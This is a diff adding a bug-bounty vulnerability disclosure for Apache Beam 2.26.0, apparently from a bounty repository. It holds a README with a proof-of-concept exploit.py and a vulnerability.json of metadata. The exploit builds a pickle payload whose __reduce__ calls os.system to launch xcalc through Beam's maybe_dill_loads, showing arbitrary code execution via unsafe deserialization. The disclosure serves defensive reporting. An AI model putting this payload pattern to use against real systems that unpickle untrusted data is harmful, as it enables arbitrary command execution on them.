Arbitary code execution apache beam

bounties/pip/beam/1/README.md

@@ -0,0 +1,23 @@
+# Description
+Apache Beam is a unified model for defining both batch and streaming data-parallel processing pipelines, as well as a set of language-specific SDKs for constructing pipelines and Runners for executing them on distributed processing backends, including Apache Flink, Apache Spark, Google Cloud Dataflow and Hazelcast Jet. 
+* **Vulnerability description**
+    untrusted loading of data by the pickle.load function leading to Arbitrary code execution.
+
+# Proof of Concept
+Run exploit.py
+```
+import os
+import pickle
+#os.system('pip3 install apache-beam==2.26.0')
+from apache_beam import coders
+#payload formation
+class ArbitraryCode:
+    def __reduce__(self):
+        cmd = ('xcalc')
+        return os.system, (cmd,)
+#exploiting
+dumps = pickle.dumps(ArbitraryCode())
+coders.coders.maybe_dill_loads(dumps)
+```
+* `pip3 install apache-beam==2.26.0`
+* `python3 exploit.py`

bounties/pip/beam/1/vulnerability.json

@@ -0,0 +1,50 @@
+{
+    "PackageVulnerabilityID": "1",
+    "DisclosureDate": "2021-01-08",
+    "AffectedVersionRange": "*",
+    "Summary": "Arbitrary Code Execution",
+    "Contributor": {
+      "Discloser": "Anon-Artist",
+      "Fixer": ""
+    },
+    "Package": {
+      "Registry": "pip",
+      "Name": "apache-beam",
+      "URL": "https://pypi.org/project/apache-beam/"
+    },
+    "CWEs": [
+      {
+        "ID": "CWE-94",
+        "Description": "Arbitrary Code Execution"
+      }
+    ],
+    "CVSS": {
+      "Version": "3.1",
+      "AV": "",
+      "AC": "",
+      "PR": "",
+      "UI": "",
+      "S": "",
+      "C": "",
+      "I": "",
+      "A": "",
+      "E": "",
+      "RL": "",
+      "RC": "",
+      "Score": "8.3"
+    },
+    "CVEs": [""], 
+    "Repository": {
+      "URL": "https://github.com/apache/beam",
+      "Codebase": ["PYTHON"],
+      "Owner": "apache",
+      "Name": "beam"
+    },
+    "Permalinks": ["https://drive.google.com/file/d/1dVpvNsjcsk2amaTvy_W4DfjMPaPs5JZ7/view?usp=sharing"], 
+    "References": [
+      {
+        "Description": "",
+        "URL": ""
+      }
+    ]
+  }